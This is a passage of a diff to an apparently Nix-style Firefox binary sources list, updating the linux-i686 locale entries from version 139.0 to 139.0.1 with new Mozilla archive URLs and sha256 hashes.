+      sha256 = "a098a3e60f2f75a691a8e4d73da0a1c5bc538660e6e6af8794bb7a061fa09cbc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/en-GB/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/en-GB/firefox-139.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "86ed94699031d7ad9f124b65c6515c46c70aa00410d5c525cc8c13828c2bda49";
+      sha256 = "a643758f3637a68bf13e9bd8e8af6819d5d0af41f2e993f8ea6fa62816e2b0c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/en-US/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/en-US/firefox-139.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "113e3b3db499c3b7e294cd71d643fb53009c97a442a4a167275f4e6fc259ecc4";
+      sha256 = "6b7e55674aed8208aeb78ff5439984c6f39260b993e9ecc7b29e7a04a0c61586";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/eo/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/eo/firefox-139.0.1.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "a2b781b872d24f714b253c28824382e1c3617ee2c6d6bfe65f3e6953f9abad7f";
+      sha256 = "a4a83a72da16d0cebd59362dc4f12fe38e5469889ee8a5c1b99785fd66dd9720";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/es-AR/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/es-AR/firefox-139.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "41285cf13315ab627829e21e8ac0f72f8673f2b8911cf4ead7c3e4a2304d7902";
+      sha256 = "ff251f725a782571880faaaed72e99c06c18229be2b33575eae217ac28e4bb0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/es-CL/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/es-CL/firefox-139.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "76b7cfccd87174c6db22876d9796f24fb3f66d5b7b0555fe8929d171c2421cc4";
+      sha256 = "71160481a52a0fb3aa0b74ab9ad1e2504934dea7f0a50c2e58adb66be0ea3696";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/es-ES/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/es-ES/firefox-139.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "8553a85b9fbb7edee2147c4ffa2d54609340dc6f3fa8bd1ee1c83e84406e5c29";
+      sha256 = "23387f47087b600e7ab306001feec62127aa23580b5110b6e7e69a0ab55c153e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/es-MX/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/es-MX/firefox-139.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "89fdfdc2a809cc5af37a349fce6e855ec946412bf5674c0d2f9e4260bc0e5c69";
+      sha256 = "b93f788d5314c36fb2e5c5997d004062843735bacf35c532630da8b60895b18d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/et/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/et/firefox-139.0.1.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "ecc3ba28eb856b1a39bde2a06c2ea2ada7d8ba766496780e23e9d02f316d3d34";
+      sha256 = "ffe0e36f552d16932d79676655e15f62cfe4a9e6aefe8bc06b78d8e4ea1daad8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/eu/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/eu/firefox-139.0.1.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "e8ccc11316569fc104741d15263bb2c462defb1650ff1683156e4aaeeca79f8d";
+      sha256 = "69897e19e2c78c3b8270f613403d82c77b4f6cfce93c1eb6062994ab21e29283";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fa/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fa/firefox-139.0.1.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "3cc643e62871712605ed28b4bf0165071874c759a98c231cb7b785578ffccbdd";
+      sha256 = "e240afc9dbd52d11528cac6e997b664966d5a67138f55f602a52bc160f2a72b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ff/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ff/firefox-139.0.1.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "475aa8baf8784eee752848aab728cdda23b8989b72758edb7c7e366b9267de44";
+      sha256 = "86168aa7b853f2a03a5d46f5e79be651cbc882ac2d3bbe8ffbb34da8e6b1b6ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fi/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fi/firefox-139.0.1.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "fec06cb2c8390e8399557c5aa028919f24568f3aec877529ee2ff4928bb1ded2";
+      sha256 = "ed2df63cbbb221d122d9f807eb156ec68ff249361fbccbf5c0745eed8e5ea6d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fr/firefox-139.0.1.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "bb296a432f4ad5e5d7919e69077ba1e49fc16672f7c93ad38e652aec0b878b4a";
+      sha256 = "b6ba27540b8642791d29dcf5ee9ac4fae650f36d21b361341ba68097f50ffedf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fur/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fur/firefox-139.0.1.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "81bbdca701d27e97bac47d6d57546fb20da804bfaaf7412cc28db413707c2b8c";
+      sha256 = "7e03ba4f68a25d2550fdcda237dc5dd3fb1f91157fcc93bab65efea9dc42be23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fy-NL/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/fy-NL/firefox-139.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "f4e4adb40ac7ef19e3cba1adbc5849f56f0a8f794b8afbacaf43272a7d339f23";
+      sha256 = "569534c2b0fc0e89c250df8989df51b0bd2f32d2238d7925e2fff12d82d6e728";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ga-IE/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ga-IE/firefox-139.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "6e3ebf0c79b0da60f23b89ab724fa25026e81ac94d4858b5c0d5b33337827303";
+      sha256 = "abfcd8a7350f52dbe9963f25f0941f18230a21943175581c5f50ffdf5c769a3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/gd/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/gd/firefox-139.0.1.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "62322bee24bfdebf51e15fa010049294ec4ad786349752a38dc4ba2825593675";
+      sha256 = "f51612c8dc8ab58fa7a618ce492ef991283f09e398fa31297838f2d543c66f0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/gl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/gl/firefox-139.0.1.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "56e6e9a1dfe3b1847a2b827ea84770896d8b88156aa7225503428ac9b39a20a0";
+      sha256 = "c8f2a31e3333b8fe197c939c2fee4638ee2d72cb2dcfb45f328baf06ba891dde";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/gn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/gn/firefox-139.0.1.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "724211b410224b4d62f8389df1935ad146facc517027dc456ba6f78d629a2480";
+      sha256 = "42a795220c3ddeee2a6f030a5493ad154f67ca7590a4d1855cf238eacf936280";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/gu-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/gu-IN/firefox-139.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "6bc9a0c4b3c6fe90d12a18b14fa7d91ecf03450af9b1abf6091bdc007b620e72";
+      sha256 = "04429b5f941b90719e7a6be9fb8b324e7af1a6c30e86b5f0b1748f74ba66a9ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/he/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/he/firefox-139.0.1.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "a0d04c8a83a801213087f1ec04c72664e5604a10dffcaf0c221ae58bc4619836";
+      sha256 = "fa8153e9d18193642d927c10e347774493c4e72ad897f3e8c3237b8df1a99b56";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hi-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hi-IN/firefox-139.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "e6951e1e637b23def9b64e144d65cabbc31182537efc4482a04fa0a08c216366";
+      sha256 = "b54ef45e99c9d8a9f2400ffa0be1c4cbf231edbcf5ed0ba21e0b2d286c397bbd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hr/firefox-139.0.1.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "9d213fc5feddff990c24cff8e65355f50cc434bdda8faac8d63647ee40c52216";
+      sha256 = "d729892c8ea66f18fb47a400652691458f962422e498bf3214fef137db4fbed8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hsb/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hsb/firefox-139.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "c4c10ed836ea227193bd781b92a9210f9e3820962b939998036ad736ae7d46a7";
+      sha256 = "1a010e259399ff0c954555879a819a923b032095b6008dd66095343745b2f89d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hu/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hu/firefox-139.0.1.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "7cf59a45bfa65a6435119be5fc2c66d666e8a8cc43218eb7157c84969195484f";
+      sha256 = "8d2f6a07fe19c068a14d6894683ae9689929727fc17d116384a9e2237e3c4e01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hy-AM/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/hy-AM/firefox-139.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "c0b389096254d07a2d17ce561677f7cf493cc72ca27a01e4305e3952e0ffc5b5";
+      sha256 = "dd37d935d23353f41bc7012a6e04e6f12a0a8aec326783af7e5b6693275dbb5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ia/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ia/firefox-139.0.1.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "0f9c6529ebe65476a334430bf197127357eb2fdc9cffe0f3de02e43e06bcfb2c";
+      sha256 = "9a766bf724b5b3141942959eb80929ab9b691cc8e3c498e660e056bd05a94aeb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/id/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/id/firefox-139.0.1.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "e0b0b6d7b2f741b362d53850cefec40d6e17fe1dc2d2d8c2752203c286151374";
+      sha256 = "1123cb036cf09ce217407c6d08b7215d082da0d400e7719405f6b35d7618a8e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/is/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/is/firefox-139.0.1.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "531924faa51c6a66a3f86c66770ce501df0b3206c8b3c6d7bfc147ba30811460";
+      sha256 = "7a644e85f3d87f243437cfba38056cc4706553f0c164d21f16c8109ea4d1acb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/it/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/it/firefox-139.0.1.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "b96e5a42f0ca99bd356ec751a859ded06e3d818aa6b8157c081040d538ca099f";
+      sha256 = "11b7e2f620230a95a383568c099fad94f5b1e2f3d2261a27463960234bb1b455";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ja/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ja/firefox-139.0.1.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "d5aada2aefae34d8cad587c851a7173958da3a67d183f0d2f110954e3a729222";
+      sha256 = "cf6f63fa3c3dd8b833db032d78254b0c677c03c0e54b9794974fa9c6828446dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ka/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ka/firefox-139.0.1.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "23115ba4339cdcf3e452771e56f2a593f3f516b76b7b902d902cb4336addecc9";
+      sha256 = "39fd4fa5efadcd2dd8c8c18e0bb7fa441db92b6bbab9620f933190732aa3eb71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/kab/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/kab/firefox-139.0.1.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "a12121b1c8a4e1fcab2e3d2cb52bbdcf078adf68383686559869ba1ff7c7632c";
+      sha256 = "0f4adac40d9e09467b1e900fb12bb67efe1350887502f2948abbf49249e7f953";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/kk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/kk/firefox-139.0.1.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "3d26df70272ac8d5c7e7ecafb00569c1feb4531e10796da8a0a562b84dc1617b";
+      sha256 = "d74717d38379f9bc28dc019bf598727c5478cae52d17ab086865544d987ad840";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/km/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/km/firefox-139.0.1.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "d8ff5e4643bedd415736bf2ffcc0d7950d5d0d915b229a8a3fb029ebee8aec94";
+      sha256 = "3a5e4aabb4a34eae8328ae03b99569070c1fa88a494c92b6e45d5617c71d050a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/kn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/kn/firefox-139.0.1.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "31b2623a9a065dcb474c32132ec5404b65b6af87cb9e07b33d4cfc043a20360d";
+      sha256 = "bfca6f25ffb42e03541a029d6d4487e6074135dbb2d4f534ec45ceb5216d1748";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ko/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ko/firefox-139.0.1.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "1fc7ab78f3b137fc5fdb11223f731621a5bf2d8c17381e4a3e015a62ab57a263";
+      sha256 = "5b31d0affa4fcfed32ca63359d015cf60af23fa22ad3d5e4c2562948224f77f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/lij/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/lij/firefox-139.0.1.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "f6cc02dbbbdae414b69d4c68fc4b44b3591c4a6892577a05e5d026331a151fc1";
+      sha256 = "0713608a6faf58c4ab48b8167fb1a6fa343e5c37104afafeebb7b61f19316937";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/lt/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/lt/firefox-139.0.1.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "ce102ae92d0a05cf34caae04509625d9bcfaa0b679875574d4e3dd925a9290a0";
+      sha256 = "6f150cec31aa1d4ea131d82ede6fc21aefd32aeb89bd32bb4c6bd9d7f4ba32c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/lv/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/lv/firefox-139.0.1.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "a6fef21f556ec9004c2016b9dc6a52130a60e1409b9929e723ffc5353ba8cade";
+      sha256 = "4628bd10b679995289f8ad75432befa2a520e1179ee8026ebd8ebafbaca48829";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/mk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/mk/firefox-139.0.1.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "c27aad6eea5ec583ba7482f0d089e8c71998d0887abf170d4bd72fe2c68ecc59";
+      sha256 = "36d2e33f42684c1aea44e5ca4f492685e47aef64a2af10098fb61fdf22b53578";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/mr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/mr/firefox-139.0.1.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "a5bb4364b1a9fd99d429d77d704f66ac99752512512a4a25730a912b319441b0";
+      sha256 = "8934ad54fcf7d8828bb17a03503c7430b7b88748a92017d537211939c8682477";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ms/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ms/firefox-139.0.1.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "3e184d856adbdacbee368cca373ded81c2f6a86be05bcd8a95028f76e7c0bc4e";
+      sha256 = "396f8284f1a90464434f231e058c39045c64676580b179a9e4cdcf9212e4689b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/my/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/my/firefox-139.0.1.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "0b64672a5134976b1996fe2f5f3990463da8b80389916c99810f0624d4bf2db3";
+      sha256 = "edc1e440935ed92fa8e3e2be881e7bf5339afe619d79c57753479a7106b0bee0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/nb-NO/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/nb-NO/firefox-139.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "16ae245c094af6b4a2edd7306cafd4145a989316160094f983dacec0afec7463";
+      sha256 = "03eb234e0211ff8e2eac6d1f7319fa2db858043139106cfcb81f06c7a5f8a26f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ne-NP/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ne-NP/firefox-139.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "c9ee9e2c787ee38843f87506a0db9a6c941d694d1db693f7affd0e391a5c0ace";
+      sha256 = "d4f5d53edd5271cdf58697f63d56911925d498cbfa1789dc7d9de98fb83c4ff6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/nl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/nl/firefox-139.0.1.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "e3c2b9ddbad64352fac37c584990619e23e49bfb7911d47fbacccccd2aab3643";
+      sha256 = "c9b2c2429732bd883e0dad9c4fb2bfee54058b00f0a2f85ea400c8f0bb0f1a3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/nn-NO/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/nn-NO/firefox-139.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "b19c3d0599427a8f0b82560bdf6ea5ab1aaa88f7331cf58f607d8c96a2f378ff";
+      sha256 = "1fe6d631f56a0c1f6026b10de4ffefa99ed9c9e394ec5f3dd1528b81dafd0a30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/oc/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/oc/firefox-139.0.1.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "ac3f1415611ad35cf95ca84c10c8ad790bf593aff0ee31c15e54b27e2f9f6197";
+      sha256 = "953ae4c44b8913ffdeca0cf5de5fd40590f460f1706aeedc401edd312bba48b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/pa-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/pa-IN/firefox-139.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "9a8481a54a1e227ed1c98da6e01215ca9e4607e48279de38a5f717e9e1604fb5";
+      sha256 = "a98ef95a4415a79181f3a860e7a37785ee1ff4977011253e22e7062d64eca420";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/pl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/pl/firefox-139.0.1.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "b8375428099c2a00e236f71ac46b23f7bd3c2883c4f6f1299f696137eff6daed";
+      sha256 = "8e9458bc036e05d0c4569c9c2933426569e4fa129c13f01283bf906bcb5c4acf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/pt-BR/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/pt-BR/firefox-139.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "67f00dd3801f44d18855ffcdde89c5aee259cb4281e0e58d72b6c4d5091d4ea5";
+      sha256 = "f060702a00157656c64ad08124dfb327a32bc0d967c396e8145175cf5d09ee4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/pt-PT/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/pt-PT/firefox-139.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "a6b4375a075470ff48f9cceccc06f4feb3e914e713650701054b7c1e6059f932";
+      sha256 = "91a54ac0f051e2f7871c30e68a45e91bcd7327fe65703f9f37e637af66a85dd0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/rm/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/rm/firefox-139.0.1.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "5cc3e5232ea108a3e9903ef9c7ee90a2806b9f606f91f0c72daa8f10b7dab1dd";
+      sha256 = "1545b211227ecf80561c9c46b4d5f6d00a67c17cf1502e35be328c14d20415e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ro/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ro/firefox-139.0.1.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "56d5da85761ac9ac499eab7e83e82110ed87be91594f3fe90f9fdda503676f60";
+      sha256 = "2432683ff328cd57c655709ddf76b7c38ffb876ee94847d8160194b3767f8ac2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ru/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ru/firefox-139.0.1.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "d99a486e9e7200e7bef2f094be048f93effead02730e76d7cf0760681a2f5c22";
+      sha256 = "41b16e8b5186afcf340cd2d6f332c13d6fd5bb57c476c072c1b7bcf234b5e35f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sat/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sat/firefox-139.0.1.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "2e7d57610c746755bd690b70c8e85dbc093bc9a6a08076007a3e7ce0964d5ad0";
+      sha256 = "e05d553e082fab66311a2b70479696cdccbe3038cf53d67d86a6c15d81102678";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sc/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sc/firefox-139.0.1.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "57f723b2611f4bb5f3fa2807e81df14513248e9ec4fd30e1a6439f54d8808ab8";
+      sha256 = "5aca43e5138107247b60d0d04c7e8c88f77473877b1a058460536290a74902d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sco/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sco/firefox-139.0.1.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "d12d924dfe72c8a4f12bdde6810e4b50142824af490f23afe4bf300bed244321";
+      sha256 = "a0f2e6523b683d2efb5b29eb8776297594e32233b4847216e182a8ab74b188ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/si/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/si/firefox-139.0.1.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "192520a046131e65f2cd93de2779c318162ac645dddce8b8651f601b2ac3e3c4";
+      sha256 = "25dc341d0ef50ed46d70e9979e34455218d782697f883be75d8bcd05450d85b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/sk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/sk/firefox-139.0.1.tar.xz";
       locale = "sk";
       arch = "linux-i686";
